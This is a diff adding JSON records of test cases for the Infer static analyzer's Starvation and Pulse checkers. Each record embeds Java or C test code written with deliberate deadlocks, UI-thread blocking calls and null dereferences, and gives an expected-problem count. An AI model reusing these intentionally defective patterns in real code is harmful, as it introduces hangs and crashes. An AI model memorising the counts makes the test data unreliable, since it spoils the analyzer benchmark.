(Exception e) {\n }\n }\n\n @MainThread\n void callTransactBad() {\n doTransact();\n }\n}\n\n@MainThread\nclass AnnotatedClass {\n void callTransactBad(MainThreadTest m) {\n m.doTransact();\n }\n}\n" + }, + { + "testname": "MasterLock.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass MasterLock {\n Object a, b;\n\n // classic deadlock between 2 methods\n // 1st method has a and wants b\n void oneWayBad() {\n synchronized (a) {\n synchronized (b) {\n }\n }\n }\n\n // 2nd method has b and wants a\n void theOtherWayBad() {\n synchronized (b) {\n synchronized (a) {\n }\n }\n }\n\n Object master, x, y;\n\n // both methods hold the master lock so cannot interleave\n // and thus cannot deadlock\n void oneWayOk() {\n synchronized (master) {\n synchronized (x) {\n synchronized (y) {\n }\n }\n }\n }\n\n void theOtherWayOk() {\n synchronized (master) {\n synchronized (y) {\n synchronized (x) {\n }\n }\n }\n }\n}\n" + }, + { + "testname": "MyActivity.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.app.Activity;\nimport android.os.Binder;\nimport android.os.Bundle;\nimport android.os.RemoteException;\n\n// test is for recognizing Activity lifecycle methods\nclass MyActivity extends Activity {\n Binder b;\n\n private void bad() {\n try {\n b.transact(0, null, null, 0);\n } catch (RemoteException r) {\n }\n }\n\n // overrides so no Bad suffixes\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n bad();\n }\n\n @Override\n public void onStart() {\n bad();\n }\n\n @Override\n public void onRestart() {\n bad();\n }\n\n @Override\n public void onResume() {\n bad();\n }\n\n @Override\n public void onPause() {\n bad();\n }\n\n @Override\n public void onStop() {\n bad();\n }\n\n @Override\n public void onDestroy() {\n bad();\n }\n}\n" + }, + { + "testname": "NonBlk.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport com.facebook.infer.annotation.NonBlocking;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\n\nclass NonBlk {\n Future future;\n\n @NonBlocking\n void doGet() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @UiThread\n void onUiThreadIndirectOk() throws InterruptedException, ExecutionException {\n doGet();\n }\n\n @NonBlocking\n @UiThread\n void onUiThreadDirectOk() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @NonBlocking\n synchronized void deadlockABBad() {\n synchronized (future) {\n }\n }\n\n @NonBlocking\n void deadlockBABad() {\n synchronized (future) {\n synchronized (this) {\n }\n }\n }\n\n private void privateDoGetOk() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @NonBlocking\n @UiThread\n void onUiThreadCalleeOk() throws InterruptedException, ExecutionException {\n privateDoGetOk();\n }\n}\n" + }, + { + "testname": "NotUnderLock.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport com.google.common.util.concurrent.SettableFuture;\n\npublic class NotUnderLock {\n SettableFuture future = null;\n\n private void callFutureSetOk() {\n future.set(null);\n }\n\n private synchronized void firstAcquisitionBad() {\n callFutureSetOk();\n }\n\n private void secondAcquisitionOk(Object o) {\n synchronized (o) {\n firstAcquisitionBad();\n }\n }\n}\n" + }, + { + "testname": "ObjWait.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\n\nclass ObjWait {\n Object z;\n\n void waitOnAnyWithoutTimeoutOk() throws InterruptedException {\n synchronized (z) {\n z.wait();\n }\n }\n\n Object o;\n\n @UiThread\n void waitOnMainWithoutTimeoutBad() throws InterruptedException {\n synchronized (o) {\n o.wait();\n }\n }\n\n @UiThread\n void waitOnMainWithExcessiveTimeout1Bad() throws InterruptedException {\n synchronized (o) {\n o.wait(5001);\n }\n }\n\n @UiThread\n void waitOnMainWithExcessiveTimeout2Bad() throws InterruptedException {\n synchronized (o) {\n o.wait(4000, 2000000000);\n }\n }\n\n Object lock, x;\n\n @UiThread\n void indirectWaitOnMainWithoutTimeoutBad() throws InterruptedException {\n synchronized (lock) {\n }\n }\n\n void lockAndWaitOnAnyWithoutTimeoutBad() throws InterruptedException {\n synchronized (lock) {\n synchronized (x) {\n x.wait();\n }\n }\n }\n\n Object y;\n\n @UiThread\n void indirectWaitSameLockOnMainOk() throws InterruptedException {\n synchronized (y) {\n }\n }\n\n void lockAndWaitSameLockOnAnyOk() throws InterruptedException {\n synchronized (y) {\n y.wait();\n }\n }\n}\n" + }, + { + "testname": "OurThreadUtils.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass OurThreadUtils {\n static native boolean isMainThread();\n\n static native boolean isUiThread();\n\n static void assertMainThread() {}\n\n static void assertOnUiThread() {}\n\n static void assertOnBackgroundThread() {}\n\n static void assertHoldsLock(Object lock) {}\n}\n" + }, + { + "testname": "Parameters.java", + "testlanguage": "java", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass Parameters {\n private static void syncOnParam(Object x) {\n synchronized (x) {\n }\n }\n\n // Next two methods will deadlock\n public synchronized void oneWaySyncOnParamBad(Object x) {\n syncOnParam(x);\n }\n\n public void otherWaySyncOnParamBad(Object x) {\n synchronized (x) {\n synchronized (this) {\n }\n }\n }\n\n private static void emulateSynchronized(Parameters self) {\n synchronized (self) {\n }\n }\n\n Parameters someObject;\n\n // Next two methods will deadlock\n public synchronized void oneWayEmulateSyncBad() {\n emulateSynchronized(someObject);\n }\n\n public void anotherWayEmulateSyncBad() {\n synchronized (someObject) {\n synchronized (this) {\n }\n }\n }\n}\n" + }, + { + "testname": "PubPriv.java", + "testlanguage": "java", + "expected-problems": 21, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\n\nclass PubPriv {\n Binder b;\n\n @UiThread\n private void doTransactOk() throws RemoteException {\n b.transact(0, null, null, 0);\n }\n\n public void transactBad() throws RemoteException {\n doTransactOk();\n }\n\n public void alsoBad() throws RemoteException {\n transactBad();\n }\n\n private void chainOK() throws RemoteException {\n alsoBad();\n }\n\n Object lockA, lockB;\n\n private void oneWayOk() {\n synchronized (lockA) {\n synchronized (lockB) {\n }\n }\n }\n\n private void anotherWayOk() {\n synchronized (lockB) {\n synchronized (lockA) {\n }\n }\n }\n\n public void callOneWayBad() {\n oneWayOk();\n }\n\n public void callAnotherWayBad() {\n anotherWayOk();\n }\n\n private void callOneWayOk() {\n oneWayOk();\n }\n\n private void callAnotherWayOk() {\n anotherWayOk();\n }\n}\n" + }, + { + "testname": "Regexp.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport android.support.annotation.WorkerThread;\nimport java.util.regex.Pattern;\n\n// Mostly after https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html\nclass Regexp {\n void potentiallyCostly() {\n Pattern.compile(\"a regexp\");\n\n int flags = 0;\n Pattern.compile(\"a regexp\", flags);\n\n Pattern.matches(\"a regexp\", \"a CharSequence\");\n }\n\n @UiThread\n void annotatedBad() {\n potentiallyCostly();\n }\n\n // no evidence on main thread so OK\n void noThreadOk() {\n potentiallyCostly();\n }\n\n @WorkerThread\n void workerThreadOk() {\n potentiallyCostly();\n }\n\n void assertedBad() {\n OurThreadUtils.assertMainThread();\n potentiallyCostly();\n }\n}\n" + }, + { + "testname": "ServiceOnUIThread.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.app.IntentService;\nimport android.app.Service;\nimport android.content.Intent;\nimport android.os.IBinder;\nimport android.os.RemoteException;\n\nclass ServiceOnUIThread extends Service {\n private final IBinder mBinder = null;\n\n @Override\n public IBinder onBind(Intent intent) {\n transactBad();\n return mBinder;\n }\n\n void transactBad() {\n try {\n mBinder.transact(0, null, null, 0);\n } catch (RemoteException e) {\n }\n }\n}\n\nclass IntentServiceNotOnUIThread extends IntentService {\n private final IBinder mBinder = null;\n\n public IntentServiceNotOnUIThread() {\n super(\"Intent service\");\n }\n\n @Override\n public void onHandleIntent(Intent intent) {\n transactOk();\n }\n\n void transactOk() {\n try {\n mBinder.transact(0, null, null, 0);\n } catch (RemoteException e) {\n }\n }\n}\n" + }, + { + "testname": "SkipAnalysis.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\n\nclass SkipAnalysis {\n Binder b;\n\n void doTransact() throws RemoteException {\n b.transact(0, null, null, 0);\n }\n\n @UiThread\n void callTransact() throws RemoteException {\n doTransact();\n }\n}\n" + }, + { + "testname": "StaticLock.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass StaticLock {\n static synchronized void staticSynced() {}\n\n void lockSameClassOneWayOk() {\n synchronized (StaticLock.class) {\n staticSynced();\n }\n }\n\n static synchronized void lockSameClassAnotherWayOk() {\n synchronized (StaticLock.class) {\n }\n }\n\n void lockOtherClassOneWayBad() {\n synchronized (StaticLock.class) {\n synchronized (this) {\n }\n }\n }\n\n synchronized void lockOtherClassAnotherWayBad() {\n staticSynced();\n }\n}\n" + }, + { + "testname": "StrictModeViolation.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport java.io.File;\nimport java.io.IOException;\n\nclass StrictModeViolation {\n File f;\n\n @UiThread\n void violateStrictModeBad() throws IOException {\n f.canRead();\n f.canWrite();\n f.createNewFile();\n f.createTempFile(\"a\", \"b\");\n f.delete();\n f.getCanonicalPath();\n f.getFreeSpace();\n f.getTotalSpace();\n f.getUsableSpace();\n f.isDirectory();\n f.isFile();\n f.isHidden();\n f.lastModified();\n f.length();\n f.list();\n f.listFiles();\n f.mkdir();\n f.renameTo(f);\n f.setExecutable(true);\n f.setLastModified(1L);\n f.setReadable(true);\n f.setReadOnly();\n f.setWritable(true);\n }\n}\n" + }, + { + "testname": "SuppLint.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.annotation.SuppressLint;\nimport android.support.annotation.UiThread;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\n\nclass SuppLint {\n Future future;\n\n @UiThread\n @SuppressLint(\"starvation\")\n void onUiThreadSuppressed() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @UiThread\n @SuppressLint(\"someOtherString\")\n void onUiThreadBad() throws InterruptedException, ExecutionException {\n future.get();\n }\n}\n\n@SuppressLint(\"STARVATION\")\nclass SuppLintClass {\n Future future;\n\n @UiThread\n void onUiThreadSuppressed() throws InterruptedException, ExecutionException {\n future.get();\n }\n}\n" + }, + { + "testname": "ThreadCalls.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\n\nclass ThreadCalls {\n void sleepOnAnyThreadOk() throws InterruptedException {\n Thread.sleep(60);\n }\n\n @UiThread\n void sleepOnUIThreadBad() throws InterruptedException {\n Thread.sleep(60);\n }\n\n Object lock;\n\n @UiThread\n void indirectSleepOnUIThreadBad() {\n synchronized (lock) {\n }\n }\n\n void lockAndSleepOnNonUIThread() throws InterruptedException {\n synchronized (lock) {\n sleepOnAnyThreadOk();\n }\n }\n\n void joinOnAnyThreadOk(Thread thread) throws InterruptedException {\n thread.join();\n }\n\n @UiThread\n void joinOnUIThreadBad(Thread thread) throws InterruptedException {\n thread.join();\n }\n\n @UiThread\n void joinWithTimeout1OnUIThreadOk(Thread thread) throws InterruptedException {\n // 50 milliseconds\n thread.join(50);\n }\n\n @UiThread\n void joinWithTimeout2OnUIThreadOk(Thread thread) throws InterruptedException {\n // 500 milliseconds + 10000 nanoseconds\n thread.join(500, 10000);\n }\n\n Object joinLock;\n\n @UiThread\n void indirectJoinOnUIThreadBad() {\n synchronized (joinLock) {\n }\n }\n\n void lockAndSleepOnNonUIThread(Thread thread) throws InterruptedException {\n synchronized (joinLock) {\n joinOnAnyThreadOk(thread);\n }\n }\n}\n" + }, + { + "testname": "ThreadDeadlock.java", + "testlanguage": "java", + "expected-problems": 21, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport android.support.annotation.WorkerThread;\n\nclass ThreadDeadlock {\n Object lockA;\n\n // methods cannot run in parallel because both are on UI thread, thus no deadlock\n\n @UiThread\n public synchronized void noParallelismAOk() {\n synchronized (lockA) {\n }\n }\n\n @UiThread\n public void noParallelismBOk() {\n synchronized (lockA) {\n synchronized (this) {\n }\n }\n }\n\n Object lockB;\n\n // deadlock, one method on UI thread, one on Worker thread\n\n @UiThread\n public synchronized void annotatedUiThreadBad() {\n synchronized (lockB) {\n }\n }\n\n @WorkerThread\n public void annotatedWorkerThreadBad() {\n synchronized (lockB) {\n synchronized (this) {\n }\n }\n }\n\n Object lockC;\n\n // deadlock as above, but here assertions are used to determine thread status\n\n public synchronized void assertOnUIThreadBad() {\n OurThreadUtils.assertOnUiThread();\n synchronized (lockC) {\n }\n }\n\n public void assertOnBackgroundThreadBad() {\n OurThreadUtils.assertOnBackgroundThread();\n synchronized (lockC) {\n synchronized (this) {\n }\n }\n }\n\n Object lockD;\n\n // deadlock as above, though less certain because the only hint of concurrency is that\n // methods take locks\n\n public synchronized void notAnnotatedBadA() {\n synchronized (lockD) {\n }\n }\n\n public void notAnnotatedBBad() {\n synchronized (lockD) {\n synchronized (this) {\n }\n }\n }\n\n Object lockE, lockF, lockG;\n\n public void sequentialEandGOk() {\n synchronized (lockE) {\n synchronized (lockF) {\n }\n }\n synchronized (lockG) {\n }\n }\n\n public void nestedGthenEOk() {\n synchronized (lockG) {\n synchronized (lockE) {\n }\n }\n }\n}\n" + }, + { + "testname": "ThreadSensitivity.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// Examples where the code checks what thread it's currently running on.\nclass ThreadSensitivity {\n Object monitorA, monitorB;\n\n void conditionalAssertMainThread_Bad(boolean b) {\n if (b) {\n // this branch asserts on Main thread\n OurThreadUtils.assertMainThread();\n synchronized (monitorA) {\n synchronized (monitorB) {\n }\n }\n } else {\n // this branch asserts nothing, so may run in parallel with the other branch\n synchronized (monitorB) {\n synchronized (monitorA) {\n }\n }\n }\n }\n\n Object monitorC, monitorD;\n\n // the branches in the following two methods are both on main/UI thread so cannot deadlock\n\n void conditionalIsMainThread_Ok() {\n if (OurThreadUtils.isMainThread()) {\n synchronized (monitorC) {\n synchronized (monitorD) {\n }\n }\n }\n }\n\n void conditionalIsUiThread_Ok() {\n if (OurThreadUtils.isUiThread()) {\n synchronized (monitorD) {\n synchronized (monitorC) {\n }\n }\n }\n }\n\n Object monitorE, monitorF;\n // identical to the first case above but negated\n void conditionalNegatedIsMainThread_Bad() {\n if (!OurThreadUtils.isMainThread()) {\n synchronized (monitorE) {\n synchronized (monitorF) {\n }\n }\n } else {\n synchronized (monitorF) {\n synchronized (monitorE) {\n }\n }\n }\n }\n\n Object monitorG, monitorH;\n\n public void confusedAssertBad(boolean b, boolean c) {\n if (b) {\n OurThreadUtils.assertOnBackgroundThread();\n } else {\n OurThreadUtils.assertOnUiThread();\n }\n\n // not sure if we're on UI or background, should report\n if (c) {\n synchronized (monitorG) {\n synchronized (monitorH) {\n }\n }\n } else {\n synchronized (monitorH) {\n synchronized (monitorG) {\n }\n }\n }\n }\n\n Object monitorI, monitorJ;\n\n public void FP_confusedAssertOk(boolean b) {\n if (b) {\n OurThreadUtils.assertOnBackgroundThread();\n }\n\n // b determines if running on UI thread, should NOT report\n if (b) {\n synchronized (monitorI) {\n synchronized (monitorJ) {\n }\n }\n }\n\n if (b) {\n synchronized (monitorJ) {\n synchronized (monitorI) {\n }\n }\n }\n }\n}\n" + }, + { + "testname": "UiLock.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport android.support.annotation.UiThread;\n\nclass UiLock {\n @UiThread\n void lockOnUiThreadWarning() {\n synchronized (this) {\n }\n }\n}\n" + }, + { + "testname": "Workers.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\nimport android.support.annotation.WorkerThread;\n\nclass Workers {\n Binder b;\n\n void doTransact() throws RemoteException {\n b.transact(0, null, null, 0);\n }\n\n @WorkerThread\n void workerOk() throws RemoteException {\n doTransact();\n }\n\n // WorkerThread does not propagate up the call stack\n // We don't report here, however, since this is an annotation/assertion error,\n // not starvation/deadlock.\n @UiThread\n void FN_uiThreadBad() throws RemoteException {\n workerOk();\n }\n\n // WorkerThread wins\n @WorkerThread\n @UiThread\n void bothOk() throws RemoteException {\n workerOk();\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json new file mode 100644 index 0000000..eb1c066 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json @@ -0,0 +1,16 @@ +{ + "name": "ConfigImpactAnalysis", + "language": [ + "clang", + "java" + ], + "description": "[EXPERIMENTAL] Collects function that are called without config checks.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 900, + "branches": 105, + "apis": 205, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json new file mode 100644 index 0000000..0d025a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json @@ -0,0 +1,17 @@ +{ + "name": "Cost", + "language": [ + "clang", + "java", + "hack" + ], + "description": "Computes the asymptotic complexity of functions with respect to execution cost or other \\\n user defined resources. Can be used to detect changes in the complexity with `infer \\\n reportdiff`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 345, + "branches": 36, + "apis": 47, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json new file mode 100644 index 0000000..68fef5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json @@ -0,0 +1,1519 @@ +{ + "name": "Pulse", + "language": [ + "clang", + "java", + "erlang", + "hack" + ], + "description": "General-purpose memory and value analysis engine.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1831, + "branches": 204, + "apis": 375, + "test": [ + { + "testname": "abduce.c", + "testlanguage": "c", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid external_func(int* const*);\n\nint const_local_no_abduce(int* p) {\n external_func(&p);\n return p ? *p : 0;\n // We shouldn't get a stack address escape warning here\n}\n\nvoid set_ptr(int* ptr, int val) { *ptr = val; }\n\nint set_ptr_local_array() {\n int buf[2];\n set_ptr(buf, 1);\n return buf[0];\n}\n\nvoid FP_set_ptr_local_array_return_true_ok() {\n int* p = NULL;\n if (!set_ptr_local_array())\n // not reachable if the analysis of set_ptr_local_array is correct\n *p = 42;\n}\n\nint set_ptr_param_array(int buf[]) {\n set_ptr(buf, 1);\n return buf[0];\n}\n\nvoid FP_set_ptr_param_array_return_true_ok() {\n int buf[2];\n int* p = NULL;\n if (!set_ptr_param_array(buf))\n // not reachable if the analysis of set_ptr_local_array is correct\n *p = 42;\n}\n\nvoid FP_set_ptr_param_array_get_ptr_ok() {\n int x = 0;\n int* p = NULL;\n if (!set_ptr_param_array(&x))\n // not reachable if the analysis of set_ptr_local_array is correct\n *p = 42;\n}\n\nvoid set_ptr_param_array_get_null_bad() {\n // A null pointer dereference is expected here\n set_ptr_param_array(NULL);\n}\n" + }, + { + "testname": "aliasing.c", + "testlanguage": "c", + "expected-problems": 19, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid FP_local_addr_noalias_ok(int* p) {\n int* q = NULL;\n int x = 1;\n if (&x == p) {\n *q = 42;\n }\n}\n\nvoid local_addr_noalias_bad(int* p) {\n int* q = NULL;\n int x = 1;\n if (&x != p) {\n *q = 42;\n }\n}\n\nstatic int g = 0;\nvoid global_addr_alias_bad(int* p) {\n int* q = NULL;\n if (&g == p) {\n *q = 42;\n }\n}\n\nvoid angelic_treatment_of_funcction_pointers_ok(int* (*fun_pointer)()) {\n int* p = fun_pointer();\n *p = 42;\n}\n\nvoid null_dereference_following_function_pointer_call_bad(\n int* (*fun_pointer)()) {\n int* p = fun_pointer();\n p = NULL;\n *p = 42;\n}\n" + }, + { + "testname": "angelism.c", + "testlanguage": "c", + "expected-problems": 32, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct delicious {\n int yum;\n int* ptr;\n};\n\nstruct delicious* bake(struct delicious** cake) {\n int* zero = NULL;\n *zero = 3;\n return NULL;\n}\n\nstruct delicious* skip_function_with_no_spec_ok(void) {\n struct delicious* cake = NULL;\n int i;\n\n if (bake(&cake) == NULL) {\n return 0;\n }\n\n i = cake->yum;\n return cake;\n}\n\nextern struct delicious* bakery(struct delicious** cake);\nextern struct delicious* bakery2(struct delicious** cake,\n struct delicious** pie);\nextern struct delicious* returnPassByRef();\nextern void skip(struct delicious* s);\n\nstruct delicious* skip_external_function_ok(void) {\n struct delicious* cake = NULL;\n int i;\n\n if (bakery(&cake) == NULL) {\n return 0;\n }\n\n i = cake->yum;\n return cake;\n}\n\nvoid by_ref_actual_already_in_footprint(struct delicious* param) {\n int i;\n struct delicious* ret = bakery(¶m);\n i = param->yum;\n}\n\nvoid call_by_ref_actual_already_in_footprint_ok() {\n by_ref_actual_already_in_footprint(NULL); // should not report a warning\n}\n\nvoid by_ref_actual_already_in_footprint2(struct delicious* param) {\n int i;\n i = param->yum; // should not report a warning\n struct delicious* ret = bakery(¶m);\n i = param->yum; // should not report a warning\n}\n\nvoid call_by_ref_actual_already_in_footprint_bad() {\n by_ref_actual_already_in_footprint2(NULL); // should report a warning\n}\n\nvoid passByRefTwiceOk() {\n struct delicious* param;\n bakery2(¶m, ¶m); // should not report a warning\n int i = param->yum;\n}\n\nstruct delicious* returnPassByRef2Ok() {\n struct delicious* param = NULL;\n bakery(¶m);\n int i = param->yum; // should not report a warning\n return param;\n}\n\nvoid returnPassByRefDerefOk() {\n struct delicious* ret = returnPassByRef();\n ret->yum = 2; // should not report a warning\n free(ret);\n}\n\nextern void struct_ptr_skip(struct delicious* s);\n\nextern void struct_val_skip(struct delicious s);\n\nint struct_value_by_ref_ptr_ok() {\n struct delicious x;\n struct_ptr_skip(&x);\n return *x.ptr; // should not report null deref warning\n}\n\nint struct_value_by_ref_ptr_write_before_ok() {\n struct delicious x;\n x.ptr = NULL;\n struct_ptr_skip(&x);\n return *x.ptr; // should not report null deref warning\n}\n\nint struct_value_by_ref_ptr_write_bad() {\n struct delicious x;\n struct_ptr_skip(&x);\n x.ptr = NULL;\n return *x.ptr; // should report null deref warning\n}\n\nvoid setF(struct delicious* x, int val) { x->ptr = val; }\n\nint struct_value_by_ref_callee_write_no_skip_bad() {\n struct delicious x;\n setF(&x, NULL);\n return *x.ptr; // should report null deref warning\n}\n\nint struct_value_by_ref_callee_write_skip_bad() {\n struct delicious x;\n struct_ptr_skip(&x);\n setF(&x, NULL);\n return *x.ptr; // should report null deref warning\n}\n\nint struct_value_by_ref_write_then_skip_ok() {\n struct delicious x;\n x.ptr = NULL;\n struct_ptr_skip(&x);\n return *x.ptr; // should not report null deref warning\n}\n\nint struct_value_skip_null_deref_bad() {\n struct delicious x;\n x.ptr = NULL;\n struct_val_skip(x);\n return *x.ptr; // should report null deref warning\n}\n\nint struct_value_skip_ok() {\n struct delicious x;\n x.yum = 7;\n struct_val_skip(x);\n return 1 / x.yum; // should not report div by zero warning\n}\n\nint struct_value_from_pointer_skip_ok(struct delicious* x) {\n struct_val_skip(*x);\n return 1 / x->yum; // should not report div by zero warning\n}\n\nint struct_value_from_pointer_skip_bad(struct delicious* x) {\n x->ptr = NULL;\n struct_val_skip(*x);\n return 1 / *x->ptr; // should report null deref warning\n}\n" + }, + { + "testname": "arithmetic.c", + "testlanguage": "c", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nint return_non_negative() {\n int x = random();\n if (x < 0) {\n exit(1);\n }\n return x;\n}\n\nvoid return_non_negative_is_non_negative_ok() {\n if (return_non_negative() < 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid assume_non_negative(int x) {\n if (x < 0) {\n exit(1);\n }\n}\n\nvoid assume_non_negative_is_non_negative_ok() {\n int x = random();\n assume_non_negative(x);\n if (x < 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid if_negative_then_crash_latent(int x) {\n assume_non_negative(-x);\n int* p = NULL;\n *p = 42;\n}\n\nvoid FN_call_if_negative_then_crash_with_negative_bad(int x) {\n if (x < 0) {\n if_negative_then_crash_latent(x);\n }\n}\n\nvoid call_if_negative_then_crash_with_local_bad() {\n int x = random();\n if_negative_then_crash_latent(x);\n}\n\nfloat return_non_negative_float() {\n float x = ((float)random()) / (2 ^ 31 - 1);\n if (x < 0.) {\n exit(1);\n }\n return x;\n}\n\nvoid return_non_negative_float_is_non_negative_ok() {\n if (return_non_negative_float() < 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid assume_non_negative_float(float x) {\n if (x < 0.) {\n exit(1);\n }\n}\n\nvoid assume_non_negative_float_is_non_negative_ok() {\n float x = ((float)random()) / (2 ^ 31 - 1);\n assume_non_negative_float(x);\n if (x < 0.) {\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "array_out_of_bounds.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// pulse doesn't detect array out of bound errors yet\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Warray-bounds\"\nvoid FN_const_bound_too_large_bad() {\n int a[7];\n a[7] = 4;\n}\n#pragma clang diagnostic pop\n\nvoid nested_array_ok() {\n int a[3][4][5];\n a[2][3][4] = 0;\n}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Warray-bounds\"\nvoid FN_const_nested_bound_too_large_bad() {\n int a[3][4][5];\n a[4][3][2] = 0;\n}\n#pragma clang diagnostic pop\n" + }, + { + "testname": "assert.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n 